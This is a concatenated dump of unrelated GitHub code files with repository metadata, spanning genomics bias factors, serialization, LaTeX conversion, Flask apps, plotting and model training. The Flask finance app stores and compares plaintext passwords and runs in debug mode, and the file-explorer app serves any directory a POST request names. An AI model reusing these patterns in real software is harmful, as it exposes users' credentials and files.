nuc==\"A\" or nuc==\"a\" or nuc==\"t\" or nuc==\"T\":\n GC_at_pos=0\n elif nuc==\"N\" or nuc==\"n\":\n GC_at_pos=0.461 #0.461 is the genome-wide GC content mean\n else:\n logging.error(f\"Unexpected letter '{nuc}' encountered in genomic sequence.\")\n raise RuntimeError\n GC_list.append(GC_at_pos)\n\n GC_bias_factor={\"GC content\":sum(np.array(GC_list)*np.array(self.GC_weights)) / self.total_GC_weight}\n\n\n res=GC_bias_factor\n return res\n\n\n # if type(sequence)!=str: # Required because swifter calls this function with a series as sequence once, and\n # # does not handle the RunTimeError below properly.\n # raise TypeError(f\"The input to this function must be a str, but was {type(sequence)}.\")\n #\n # GC_list=[]\n # for nuc in sequence:\n # if nuc==\"G\" or nuc==\"g\" or nuc==\"c\" or nuc==\"C\":\n # GC_at_pos=1\n # elif nuc==\"A\" or nuc==\"a\" or nuc==\"t\" or nuc==\"T\":\n # GC_at_pos=0\n # elif nuc==\"N\" or nuc==\"n\":\n # GC_at_pos=0.461 #0.461 is the genome-wide GC content mean\n # else:\n # logging.error(f\"Unexpected letter '{nuc}' encountered in genomic sequence.\")\n # raise RuntimeError\n # GC_list.append(GC_at_pos)\n #\n # GC_bias_factor=sum(np.array(GC_list)*np.array(self.GC_weights)) / self.total_GC_weight\n # return GC_bias_factor\n\n def get_fwd_mappability_bias_factor(self, mappability: List[float]) -> float:\n \"\"\"\n Returns a number representing the bin's mappability for fragments on the forward strand.\n\n :param mappability: A vector of values between 0 and 1, representing the mappbility of positions in and around\n the bin of interest. Must correspond to the coordinates - *max(* :attr:`.fragments` *)* -\n :attr:`.readlength` to + *max(* :attr:`.fragments` *)* + :attr:`.readlength`\n :return: A number in range 0-1 that represents the bin's overall forward mappability. 1 ... highest\n \"\"\"\n mapp_fwd=mappability[self.readlength:]\n fwd_mappbias_of_bin=sum(np.array(mapp_fwd)*np.array(self.fwd_mapp_weights)) / self.total_fwd_mapp_weight\n return fwd_mappbias_of_bin\n\n def get_rev_mappability_bias_factor(self,mappability: List[float]) -> float:\n \"\"\"\n Returns a number representing the bin's mappability for fragments on the reverse strand.\n\n :param mappability: A vector of values between 0 and 1, representing the mappbility of positions in and around\n the bin of interest. Must correspond to the coordinates - *max(* :attr:`.fragments` *)* -\n :attr:`.readlength` to + *max(* :attr:`.fragments` *)* + :attr:`.readlength`\n :return: A number in range 0-1 that represents the bin's overall reverse mappability. 1 ... highest\n \"\"\"\n mapp_rev=mappability[:-self.readlength]\n rev_mappbias_of_bin=sum(np.array(mapp_rev)*np.array(self.rev_mapp_weights)) / self.total_rev_mapp_weight\n return rev_mappbias_of_bin\n\n def get_table_with_bias_factors(self) -> pd.DataFrame:\n \"\"\"\n Main method to retrieve bias factor information.\n\n :return: A `pandas.DataFrame` with one row per bin, containing columns of the input DataFrame :attr:`df`\n (\"chromosome\", \"start\", \"end\", \"bin nr.\", \"coverage\", \"sequence\") as well as newly added\n columns for bias\n factors for mappability, GC-content, and all di- and trinucleotides (with reverse and forward complements\n merged into single factors). Bias factors are scaled between 0 and 1. Higher values correspond to higher\n nucleotide content, mappability etc. Example: An average bin is expected to have a bias factor of 0.461\n for humans (i.e. genomic GC content).\n Note that the input columns \"mappability\" and \"sequence\" will not be part of the returned dataframe in\n order to reduce the memory usage of this function.\n \"\"\"\n\n if \"mappability\" not in self.skip_these_biasfactors:\n logging.info(f\"Adding forward mappability bias factors with up to {self.n_cores} cores ...\")\n # alternative versions that turned out to be slower:\n # modin: 3:19 min with 25 cores\n # swifter and modin: 3:17 with 25 cores\n\n self.df[\"forward mappability\"] = self.df[\"mappability\"].swifter.progress_bar(False).set_npartitions(\n self.n_cores).apply(self.get_fwd_mappability_bias_factor) # fast: 1:27 min with 25 cores allowed\n # (still uses 1 core only)\n\n logging.info(f\"Adding reverse mappability bias factors with up to {self.n_cores} cores ...\")\n self.df[\"reverse mappability\"] = self.df[\"mappability\"].swifter.progress_bar(False).set_npartitions(\n self.n_cores).apply(self.get_rev_mappability_bias_factor) # fast: 1:27 min with 25 cores allowed\n # (still uses 1 core only)\n\n logging.info(\"Adding maximum mappability bias factors ...\")\n self.df[\"max mappability\"] = self.df[[\"forward mappability\", \"reverse mappability\"]].max(axis=1) # fast\n\n self.df=self.df.drop([\"mappability\"],axis=1)\n\n logging.info(f\"Adding sequence-based bias factors with up to {self.n_cores} cores - this may take a while. \"\n f\"(The following 'UserWarning' from modin can be ignored) ...\")\n # alternative versions that turned out to be slower:\n\n # Loop: slow, takes probably about 10 min:\n # nuc_GC_factors_dicts = [self.get_GC_and_di_and_trinuc_weights(seq) for seq in self.df[\"sequence\"].values]\n\n # multiprocessing pool.map: slow. schedules 25 tasks, but htop shows low usage.\n # with mp.Pool(processes=self.n_cores) as pool:\n # nuc_GC_factors_dicts = pool.map(self.get_GC_and_di_and_trinuc_weights, self.df[\"sequence\"].values)\n\n # modin Series.apply: 3:40 on 25 cores incl conversion to df and concat\n #nuc_GC_factors_dicts = modinpd.Series(self.df[\"sequence\"]).apply(self.get_GC_and_di_and_trinuc_weights)\n\n if \"di and trinucleotides and GC content\" not in self.skip_these_biasfactors and \"di and trinucleotides\" not \\\n in self.skip_these_biasfactors:\n if self.n_cores==1:\n nuc_and_gc_factors_dicts= self.df[\"sequence\"].apply(\n self.get_GC_and_di_and_trinuc_weights)\n else:\n nuc_and_gc_factors_dicts= modinpd.Series(self.df[\"sequence\"]).swifter.set_npartitions(self.n_cores).apply(\n self.get_GC_and_di_and_trinuc_weights) # fast: 2:01 min on 25 cores incl. conversion to df and concat\n # nuc_and_gc_factors_dicts=self.df[\"sequence\"].apply(self.get_GC_and_di_and_trinuc_weights)\n nuc_and_gc_df = pd.DataFrame(list(nuc_and_gc_factors_dicts.values))\n self.df=pd.concat([self.df,nuc_and_gc_df], axis=1)\n self.df=self.df.drop([\"sequence\"],axis=1)\n\n if \"di and trinucleotides and GC content\" not in self.skip_these_biasfactors and \\\n \"di and trinucleotides\" in self.skip_these_biasfactors:\n if self.n_cores==1:\n gc_factors_dict=self.df[\"sequence\"].apply(self.get_GC_bias_factor)\n else:\n gc_factors_dict=modinpd.Series(self.df[\"sequence\"]).swifter.set_npartitions(self.n_cores).apply(\n self.get_GC_bias_factor)\n gc_factor_df = pd.DataFrame(list(gc_factors_dict.values))\n self.df=pd.concat([self.df,gc_factor_df], axis=1)\n\n # self.df[\"GC content\"]=modinpd.Series(self.df[\"sequence\"]).swifter.set_npartitions(self.n_cores).apply(\n # self.get_GC_bias_factor)\n self.df=self.df.drop([\"sequence\"],axis=1)\n\n\n return self.df\n","repo_name":"epigen/LIQUORICE","sub_path":"liquorice/utils/BinTableBiasFactors.py","file_name":"BinTableBiasFactors.py","file_ext":"py","file_size_in_byte":16439,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"63"} +{"seq_id":"12285906915","text":"import re\n\n\n# Longer than this and the deserialization becomes slow.\n# Allowing arbitrary length packets could lead to DoS attacks.\n# Under normal circumstances you will never need to send a\n# packet this long.\nmaxPacketLength = 10000\n\n\nclass DeserializationError(Exception):\n pass\n\n\ndef intStringToBool(s):\n \"\"\"\n Python reads bool('0') as True for some weird reason.\n It also reads bool('False') as True, so just using\n repr wouldn't help.\n \"\"\"\n return bool(int(s))\n\n\ndef serialize(args):\n def typeSpecifier(x):\n return {int: 'i', bool: 'b', str: 's'}[type(x)]\n\n def data(x):\n return x if isinstance(x, str) else repr(int(x))\n\n # \\uffff is guaranteed not to be a valid unicode character.\n # Thus it will never be part of a string that we would\n # want to serialize and can be used as a separator for strings\n return bytes('\\uffff'.join([typeSpecifier(x) + data(x) for x in args]),\n 'utf-8')\n\n\ndef deserialize(packet):\n if len(packet) > maxPacketLength:\n raise DeserializationError('Packet is too long.')\n\n try:\n packet = packet.decode('utf-8')\n except UnicodeDecodeError as e:\n raise DeserializationError('Bad unicode', e)\n\n ret = []\n\n for s in re.findall('[a-z][^\\uffff]+', packet):\n try:\n t = {'i': int, 'b': intStringToBool, 's': str}[s[0]]\n except KeyError as e:\n raise DeserializationError('Bad type specifier', e)\n\n try:\n i = t(s[1:])\n except ValueError as e:\n raise DeserializationError('Bad literal', e)\n\n ret.append(i)\n\n if ret == []:\n raise DeserializationError('No sequence found.')\n\n return ret\n","repo_name":"hpoggie/ul_core","sub_path":"ul_core/net/serialization.py","file_name":"serialization.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"12741049453","text":"import pandas\nfrom sklearn.linear_model import LinearRegression\ndb= pandas.read_csv(\"Salary_Data.csv\")\nx= db[\"YearsExperience\"]\nx= x.values\nx=x.reshape(30,1)\ny= db[\"Salary\"]\nmodel = LinearRegression()\nmodel.fit(x,y)\nw= model.coef_\nbias= model.intercept_\nprint()\nprint()\na= input(\"Enter your name: \")\nprint()\nb= float(input(\"Enter years of experience: \"))\nprint()\nsal= float((b*w)+bias)\nprint(\"{}, your salary in our company is {:.2f} INR.\".format(a,sal))\n\n","repo_name":"Dracarys0511/SummerProgramTask1","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"31646665352","text":"import json\r\nimport logging\r\nimport os\r\n\r\nimport yaml\r\nfrom jsonschema import validate, ValidationError\r\n\r\ndir_path = os.path.dirname(os.path.realpath(__file__))\r\nschema_path = dir_path + '\\\\..\\\\config\\\\'\r\n\r\n\r\ndef validate_json(input, schmea):\r\n is_valid = True\r\n try:\r\n with open(schema_path + schmea) as json_file:\r\n json_load = json.load(json_file)\r\n validate(input, json_load)\r\n except ValidationError as err:\r\n logging.error(err)\r\n is_valid = False\r\n return is_valid\r\n\r\n\r\ndef read_config(config_name):\r\n try:\r\n with open(schema_path + config_name) as ymlfile:\r\n conf = yaml.safe_load(ymlfile)\r\n conf['kafka']['connection']['ssl.ca.location'] = schema_path + 'cloudkarafka.ca'\r\n return conf\r\n except Exception as e:\r\n logging.info(\"Cant read the Configuration file %s\" % config_name)\r\n raise e\r\n","repo_name":"ggmohanasundaram/massive_usersummary","sub_path":"app/src/util/summary_utils.py","file_name":"summary_utils.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"40673433725","text":"\"\"\" make_offline - modifies a Authorea github rep of online working\n\nNotes\n-----\n\nAdd standard offline header and footer including bibliography\n\nAttributes\n----------\n\n\nKST 20150605 \n\n\"\"\"\n\nimport sys\nimport os\nimport logging\nimport collections\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n#import IPython\n\ndef add_front(header = None, maketitle = True, fill_standard = True,):\n \"\"\" add front mater\n\n Parameters\n ----------\n header : str or list, optional\n Tex file(s) to include before the Authorea structure file (None by default)\n maketitle : boolean, optional\n If the line '\\maketitle' should be included\n fill_standard : boolean, optinal\n Fill standard header if no external was given, default = True\n Returns\n -------\n list\n Lines to put at the top of the main tex file\n\n \"\"\"\n start = []\n #IPython.embed()\n if header is not None:\n if type(header) is not list: header = [header]\n start += [r'\\input{' + ff.rsplit('.tex')[0] + '}' + '\\n' for ff in header]\n elif fill_standard:\n start += [\n r'\\documentclass[12pt,letterpaper]{article}' + '\\n',\n r'\\usepackage[utf8]{inputenc}' + '\\n',\n r'\\usepackage{amsmath}' + '\\n',\n r'\\usepackage{amsfonts}' + '\\n',\n r'\\usepackage{amssymb}' + '\\n',\n r'\\usepackage{graphicx}' + '\\n',\n r'\\usepackage[hidelinks]{hyperref}' + '\\n',\n r'\\usepackage[T1]{fontenc}' + '\\n',\n r'\\usepackage{lmodern}' + '\\n',\n '\\n',\n r'\\usepackage[authoryear,round,sort]{natbib}' + '\\n',\n r'\\bibliographystyle{plainnat}' + '\\n',\n '\\n',\n r'\\title{\\input{title.tex}}' + '\\n',\n ]\n start.append('\\n')\n start.append('\\n')\n start.append(r'\\begin{document}' + '\\n')\n if maketitle:\n start.append(r'\\maketitle'+ '\\n')\n\n return start\n\ndef add_end(footer = None, fill_standard = True):\n \"\"\" add front mater\n\n Parameters\n ----------\n footer : str or list, optional\n Tex file(s) to include before the Authorea structure file (None by default)\n fill_standard : boolean, optinal\n Fill standard footer (just bibliography) if no external footer was given, default = True\n\n Returns\n -------\n list\n Lines to put at the top of the main tex file\n\n \"\"\"\n end = []\n if footer is not None:\n if type(footer) is not list: footer = [footer]\n end += [r'\\input{' + ff.rsplit('.tex')[0] + '}' + '\\n' for ff in footer]\n elif fill_standard:\n end += [\n r'\\bibliography{bibliography/biblio}' + '\\n',\n ]\n end.append(r'\\end{document}')\n return end\n\n\ndef convert_layout_line(line):\n \"\"\" converts a input tex line in layout.md to the write format for a main tex file\n\n Parameters\n ----------\n line : str\n the line to convert\n\n Returns\n -------\n list\n the converted line, can be more than one if it must be converted to a figure environment\n\n \"\"\"\n if line is '\\n':\n return line\n elif '.tex' in line:\n clean_line = line.rsplit('\\n')[0].rsplit('.tex')[0]\n return '\\input{' + clean_line + '}\\n'\n else:\n figpath = os.path.split('./' + line.rsplit('\\n')[0])[0]\n #caption_lines = []\n #for texfile in [tf for tf in os.listdir(figpath) if '.tex' in tf and tf != 'size.tex']:\n #with open(os.path.join(figpath,texfile), 'r') as inpfile:\n #caption_lines += inpfile.readlines()\n caption_lines = []\n if 'caption.tex' in os.listdir(figpath):\n caption_lines = [\n r'\\caption{\\protect\\input{' +\n figpath + '/caption}}' + '\\n'\n ]\n fig_env = [\n '\\n',\n r'\\begin{figure}[ht!]' + '\\n',\n r'\\centering' + '\\n',\n\t r'\\includegraphics[width=1.0\\columnwidth]{' + line.rsplit('\\n')[0] + '}\\n'\n ] + caption_lines + [\n '\\n',\n r'\\end{figure}' + '\\n',\n '\\n',\n ]\n return fig_env\n\n\ndef main(path = None, header = None, footer = None, offline_main_file = 'main.tex', authorea_layout = 'layout.md'):\n \"\"\" Generate offline main tex file for Authorea git rep\n\n Note\n ----\n Any older version of offline_main_file will be overwritten\n\n Parameters\n ----------\n path : str, optional\n The path to the repo if not run directly there\n header : str or list, optional\n Tex file(s) to include before the Authorea structure file (None by default)\n footer : str or list, optional\n Tex file(s) to include after the Authorea structure file (None by default)\n offline_main_file : str, optional\n The top level tex filename (default: main.tex)\n authorea_layout : str, optional\n The layout file (layout.md as default)\n\n\n \"\"\"\n if path:\n _old_path = os.path.abspath(os.curdir)\n os.chdir(path.rstrip('\\\\')[0])\n\n with open(authorea_layout, 'r') as inpfile:\n layout_lines = inpfile.readlines()\n \n with open(offline_main_file, 'w') as outfile: \n for line in add_front(header = header):\n outfile.write(line)\n outfile.write('\\n')\n for line in layout_lines:\n [outfile.write(ll) for ll in convert_layout_line(line)]\n outfile.write('\\n')\n for line in add_end():\n outfile.write(line)\n\n return locals()\n\n\nif __name__ == \"__main__\":\n locals().update(main(sys.argv[1:]))\n # or: var = main()\n","repo_name":"konstantinstadler/web_db_mrio","sub_path":"make_offline.py","file_name":"make_offline.py","file_ext":"py","file_size_in_byte":5710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"32597281770","text":"import errno\nimport os\nfrom flask import Flask, url_for, render_template, request, redirect, session\nimport requests\nimport json\nfrom flask_session import Session\nimport utils\nfrom datetime import datetime\nfrom flask import Flask, session\nfrom flask_session import Session\n\n\napp = Flask(__name__,\n static_url_path='',\n static_folder='static',\n template_folder='templates')\napp.config['SESSION_TYPE'] = 'filesystem'\nPERMANENT_SESSION_LIFETIME = 1800\napp.config['SECRET_KEY'] = 'super secret key'\napp.config.update(SECRET_KEY=os.urandom(24))\n\napp.config.from_object(__name__)\n\nSession(app)\n\nPERMANENT_SESSION_LIFETIME = 1800\n\n\ndef check_credentials(e, p):\n if utils.getPassword(e) == p:\n session['logged_in'] = True\n session['email'] = e\n print(\"Valid User\")\n return redirect(url_for('dashboard'))\n return render_template('login.html', error=\"Invalid Credentials\")\n\n\ndef register(u, p, e):\n print(u, p, e)\n try:\n r = utils.addUser(u, e, p)\n if (r == \"Username Exists\"):\n return render_template('signup.html', error=\"Username Exists\")\n return render_template('login.html')\n except:\n return render_template('signup.html', error=\"Error in inserting user\")\n\n\ndef add_finance_record(e, a, c, d, dt):\n try:\n r = utils.createFinanceRecord(e, a, c, d, dt)\n return redirect(url_for('dashboard'))\n except:\n return redirect(url_for('dashboard'))\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n print(\"Checking Credentials\")\n return check_credentials(request.form['email'], request.form['password'])\n else:\n if session.get('logged_in'):\n return redirect(url_for('dashboard'))\n return render_template('login.html')\n\n\n@app.route('/dashboard', methods=['GET', 'POST'])\ndef dashboard():\n if request.method == 'POST':\n email = session['email']\n now = datetime.now()\n dt_string = now.strftime(\"%Y/%m/%d %H:%M\")\n date = dt_string\n print(date)\n return add_finance_record(email, request.form['category'], request.form['amount'], request.form['description'], date)\n else:\n if session.get('logged_in'):\n email = session['email']\n rows = utils.fetchFinanceRecord(email)\n l = len(rows)\n return render_template('dashboard.html', rows=rows, len=l)\n return render_template('login.html')\n\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signin():\n if request.method == 'POST':\n return register(request.form['name'], request.form['password'], request.form['email'])\n else:\n return render_template('signup.html')\n\n\n@app.route('/logout', methods=['GET', 'POST'])\ndef logout():\n session['logged_in'] = False\n return redirect(url_for('login'))\n\n\nif __name__ == \"__main__\":\n # db.create_all()\n app.run(debug=True)\n # app.run(host=\"0.0.0.0\", port=5000)\n","repo_name":"IBM-EPBL/IBM-Project-1956-1658421467","sub_path":"PROJECT DEVELOPMENT PHASE/Sprint 3/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"63"} +{"seq_id":"30851853673","text":"matriz = []\nl = c = i = pares = maior = 0\n\nwhile True:\n matriz.append(int(input(f'Digite um valor para [{c},{l}]: ')))\n if matriz[i] % 2 == 0:\n pares += matriz[i]\n i += 1\n if l == 2 and c == 2:\n break\n l += 1\n if l > 2:\n c += 1\n l = 0\nprint('-=' * 30)\nprint('[',matriz[0],']','[', matriz[1],']','[', matriz[2],']', end='\\n')\nprint('[', matriz[3],']','[', matriz[4],']','[', matriz[5],']', end='\\n')\nprint('[', matriz[6],']','[', matriz[7],']','[', matriz[8],']', end='\\n')\nprint('-=' * 30)\nprint(f'a) Soma dos pares = {pares}')\nsoma3coluna = matriz[2] + matriz[5] + matriz[8]\nprint(f'b) Soma dos valores da terceira coluna = {soma3coluna}')\nif matriz[3] >= matriz[4] and matriz[3] >= matriz[5]:\n maior = matriz[3]\nif matriz[4] >= matriz[3] and matriz[4] >= matriz[5]:\n maior = matriz[4]\nif matriz[5] >= matriz[4] and matriz[5] >= matriz[3]:\n maior = matriz[5]\nprint(f'c) Maior valor da segunda linha = {maior}')\n","repo_name":"arthurqueiroz4/Curso-em-video","sub_path":"desafio086&087.py","file_name":"desafio086&087.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"63"} +{"seq_id":"73135781322","text":"import numpy as np\nimport torch\n\nclass LanguageModelLSTM:\n def __init__(self, params):\n self.goal_dim = params['dims']['g_encoding']\n self.classifier = None\n self.reward_function = None\n self.size_encoding = None\n self.description2onehot = None\n\n def set_reward_function(self, classifier):\n self.classifier = classifier\n self.reward_function = classifier.reward_function\n self.size_encoding = self.reward_function.num_hidden_lstm\n self.description2onehot = classifier.goal_sampler.feedback2one_hot\n\n def encode(self, input_str):\n # input_str can be either:\n # - a string,\n # - a list of length rollout_batch_size, each element being a list of strings\n\n if input_str in self.classifier.goal_sampler.feedback2one_hot.keys():\n descriptions_one_hot = self.classifier.goal_sampler.feedback2one_hot[input_str]\n else:\n descriptions_one_hot = self.classifier.goal_sampler.one_hot_encoder.encode(input_str.lower().split(\" \"))\n\n descriptions_one_hot=np.asarray(descriptions_one_hot).reshape([1]+list(np.shape(descriptions_one_hot)))\n embeddings = self.classifier.reward_function.get_description_embedding(torch.tensor(descriptions_one_hot, dtype=torch.float32))\n\n return embeddings.squeeze().detach().numpy()\n","repo_name":"flowersteam/Imagine","sub_path":"src/imagine/language_model.py","file_name":"language_model.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"63"} +{"seq_id":"44237764574","text":"from flask import Flask, request, render_template, url_for\nfrom .configs import *\nfrom .manager import Manager\nfrom .file import File\nfrom .folder import Folder, makeTempDir\n\n\nclass Explorer(Flask):\n '''\n Web-based File Explorer \\\\\n with different file support\n '''\n\n def __init__(self):\n super().__init__(__name__,\n template_folder=template_dir,\n static_folder=static_dir)\n self.man = Manager()\n self.configure()\n self.makeRoutes()\n self.__tempDir = './web/static/temp/'\n\n def configure(self):\n '''\n basic app configuration\n '''\n self.config['UPLOAD_FOLDER'] = upload_dir\n self.config['MAX_CONTENT_LENGTH'] = max_content_length\n\n def makeRoutes(self):\n '''\n url routing rules\n '''\n self.add_url_rule('/', 'folder_view', self.folderView)\n self.add_url_rule('/fo/',\n 'folder_view_w_name', self.folderView)\n self.add_url_rule('/dir', 'get_curr_working_dir',\n self.cwd, methods=['POST'])\n self.add_url_rule('/fi/', 'serve_file', self.serveFile)\n\n def folderView(self, folder_name=None):\n '''\n serves folder and it's content : is also a homepage;\n '''\n # print(f'\\t\\t\\t\\t Path ---> {path}')\n if folder_name and self.path:\n self.man.setCD(\n Folder(folder_name, self.path))\n else:\n self.man.setCD(\n Folder(self.path))\n self.man.getCD().populate()\n content, _path = self.man.extract().values()\n return render_template('index.html', DIR=_path, content=content)\n\n def cwd(self):\n '''\n route to get working-directory\n '''\n # print(f'\\t\\t\\t\\t Path ---> {path}')\n if request.method == 'POST':\n inc = request.get_json()\n self.path = inc['path']\n return {}\n\n def serveFile(self, file_name):\n '''\n route to serve file to user \\\\\n default : plain text file / code file ✔ \\\\\n Image : (png, jpg, jpeg, svg) ✔ \\\\\n AV : (mp3, mp4) \\\\\n Pdf: pdf ✔ \\\\\n Office : (word, excel)\n '''\n file = File(self.path, file_name)\n f_type = file.file_type()\n if f_type == 'TEXT':\n return render_template('/file/text.html',\n FILENAME=file_name, content=file.readContent())\n elif f_type == 'IMAGE':\n f_path = file.duplicate()\n return render_template('/file/image.html',\n FILENAME=file_name, PATH=f_path)\n elif f_type == 'PDF':\n f_path = file.duplicate()\n return render_template('/file/pdf.html',\n FILENAME=file_name, PATH=f_path)\n elif f_type == 'MD':\n return render_template('/file/markdown.html',\n FILENAME=file_name, content=file.readContent())\n # for audio & video, use buffering\n # after these twos are implemented, run render_template at last\n elif f_type == 'AUDIO':\n pass\n elif f_type == 'VIDEO':\n pass\n else:\n return \"ERROR\"\n\n def setDir(self, dir):\n self.path = dir # this will change\n # man.mainDir will not change\n self.man.setMainDir(dir)\n\n def tempDir(self):\n '''\n returns if temporary directory exists\n else makes one\n '''\n makeTempDir(self.__tempDir)\n return self.__tempDir\n","repo_name":"manish404/ws_file_explorer","sub_path":"utils/explorer.py","file_name":"explorer.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"63"} +{"seq_id":"12611808485","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 7 08:19:25 2017\n\n@author: johank\n\"\"\"\n\non=1;off=0;\n\n# %% Loading required modules\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os, time\nfrom matplotlib.colors import LinearSegmentedColormap\n\n# %% Parameter settings\nMovie=off\n\n# %% Setting up the plot \nWinWidth = 1280\nWinHeight = 720\nDPI=144\n\nMainTitleText='Musselbed pattern formation model'\nTitleText_P1='Mussels M'\nTitleText_P2='Algae A'\nLabelText_P1 = '$g m^{-2}$'\nLabelText_P2 = '$g m^{-3}$'\n\nCodeFolder = '/Users/johank/Simulations/OpenCL/clMussels/clMussels'\nMovieFileName = 'Mussels_2P.mp4'\n\n# %% Colormap definitions\nMusselColors = [(0.70, 0.67, 0.62), (0.96, 0.91, 0.93), (0.64, 0.64, 0.71),\\\n (0.44, 0.48, 0.56), (0.20, 0.27, 0.28), (0.0 , 0.0 , 0.0)] \nColorMap_P1 = LinearSegmentedColormap.from_list('AridVeg', MusselColors, N=100)\n\nAlgaeColors = [(0.84, 1.0, 1.0), (0.25, 0.8, 0.5)] \nColorMap_P2 = LinearSegmentedColormap.from_list('Water', AlgaeColors, N=100)\n\nD2_Max = 1200 # Maximal biomass for the image plot & bar\n\n# %% Importing the data header\nFileName = \"Output.dat\"\n\nf = open(FileName, 'rb') \n \nfTime = os.fstat(f.fileno()).st_mtime\nprint(\"\\n Opening file %s\" % FileName)\nprint(\" last modified: %s\\n\" % time.ctime(fTime))\n\nNX = np.asscalar(np.fromfile(file=f, dtype= np.int32, count=1, sep=\"\"))\nNY = np.asscalar(np.fromfile(file=f, dtype= np.int32, count=1, sep=\"\"))\nLength = np.asscalar(np.fromfile(file=f, dtype= np.float32, count=1, sep=\"\"))\nNumFrames = np.asscalar(np.fromfile(file=f, dtype= np.int32, count=1, sep=\"\"))\nEndTime = np.asscalar(np.fromfile(file=f, dtype= np.int32, count=1, sep=\"\")) \n\nD1 = np.zeros((NX, NY))\nD2 = np.zeros((NX, NY))\n\n# %%Setting up the two panels for earch array\n\nfig, (ax) = plt.subplots(1, 2, figsize=(WinWidth/DPI, WinHeight/DPI), dpi=DPI)\nfig.canvas.set_window_title(MainTitleText)\n \nmngr = plt.get_current_fig_manager()\n#mngr.window.setGeometry(0,25,WinWidth, WinHeight)\nplt.tight_layout(pad=3.0, w_pad=1.5, h_pad=1.0 )\n\ntext=fig.suptitle(\"Time: %1.0f of %1.0f \" % (0, EndTime), \n y=0.07, fontsize=12);\n\n# Panel 1: \nim1=ax[0].imshow(D2, cmap=ColorMap_P1, clim=(0, D2_Max), extent=[0,Length,0,Length]);\nax[0].set_title(TitleText_P1, fontsize=15)\ncb1=fig.colorbar(im1, ax=ax[0], fraction=0.046, pad=0.04)\ncb1.ax.set_title(LabelText_P1)\nax[0].set_xticks([]) \n\nax[0].set_ylabel('Scale (meters)')\n\n# Panel 2: \nim2=ax[1].imshow(D1, cmap=ColorMap_P2, clim=(0, 1));\nax[1].set_title(TitleText_P2, fontsize=15)\ncb2=fig.colorbar(im2, ax=ax[1], fraction=0.046, pad=0.04)\ncb2.ax.set_title(LabelText_P2)\nax[1].set_xticks([]) \nax[1].set_yticks([]) \n\n# %% Plotting of the modelling results\n\nfor jj in range(NumFrames): # Here the time loop starts \n \n D1 = np.reshape(np.fromfile(file=f, dtype= np.float32, count=NX*NY, sep=\"\"),(NX,NY))\n D2 = np.reshape(np.fromfile(file=f, dtype= np.float32, count=NX*NY, sep=\"\"),(NX,NY))\n \n im1.set_data(D2)\n im2.set_data(D1)\n plt.draw()\n plt.pause(1e-10)\n text.set_text(\"Time: %1.0f of %1.0f\" % ((jj+1)/NumFrames*EndTime/24, EndTime/24))\n ii=0;jj=jj+1\n if (Movie==on):plt.savefig(\"Images/Rplot%03d.png\" % jj)\n\nf.close() \n\nprint(\"Finished!\") \n\n\n# %% Saving the file\nif (Movie==on): \n os.chdir(CodeFolder)\n InFile = 'Images/Rplot%03d.png'\n OutFile = MovieFileName\n CommandLine='/usr/local/bin/ffmpeg -y -r 30 -i %s -c:v libx264 -pix_fmt yuv420p -b:v 2000k %s' % (InFile, OutFile)\n os.system(CommandLine) \n \n","repo_name":"JohanvandeKoppel/clMussels","sub_path":"PlotMussels.py","file_name":"PlotMussels.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"63"} +{"seq_id":"22332386956","text":"import matplotlib.pyplot as plt\nimport pickle\nimport os\nimport cv2\nimport numpy as np\nimport glob\nimport numpy as np\nimport pandas as pd\nfrom tabulate import tabulate\nfrom tensorflow.keras import layers, models\nfrom tensorflow.keras.callbacks import ModelCheckpoint\nfrom tensorflow.keras.wrappers.scikit_learn import KerasRegressor\nfrom sklearn.model_selection import GridSearchCV\n\ndef get_x_y(df):\n x = []\n y = []\n for name in df['name']:\n loaded_npz = np.load(name)\n\n pic = loaded_npz['pic_data']\n x.append(pic)\n\n vector_x, vector_y, vector_z = loaded_npz['vector_in']\n y.append([vector_x, vector_y, vector_z])\n\n x = np.array(x)\n y = np.array(y)\n return x, y\n\ndef main():\n #names_df = load_pkl_dataset()\n names_df = load_npz_dataset()\n shuffled_df = names_df.sample(frac=1)\n\n train_df, val_df, test_df = create_dataframes(shuffled_df)\n X_test, y_test = get_x_y(test_df)\n \n X_train, y_train = get_x_y(train_df)\n X_val, y_val = get_x_y(val_df)\n\n #grid_result = get_grid_search(X_train, y_train, X_val, y_val)\n\n model = create_model(X_train, y_train, X_val, y_val)\n\n output_df = get_load_model(test_df, X_test)\n avg_xyz = get_average_difference(output_df)\n \n prediction = get_prediction(r'SynthEyes_data\\f01\\f01_1002_0.1963_0.3927.npz')\n\ndef get_grid_search(X_train, y_train, X_val, y_val):\n model = KerasRegressor(build_fn=create_model, X_train=X_train, y_train=y_train, X_val=X_val, y_val=y_val, verbose=1)\n\n #Define the grid search parameters\n batch_size = [8, 16]\n epochs = [50]\n param_grid = dict(batch_size=batch_size, epochs=epochs)\n\n #Perform the grid search\n grid = GridSearchCV(estimator=model, param_grid=param_grid, n_jobs=-1, cv=3)\n grid_result = grid.fit(X_train, y_train)\n\n #Print the best parameters\n 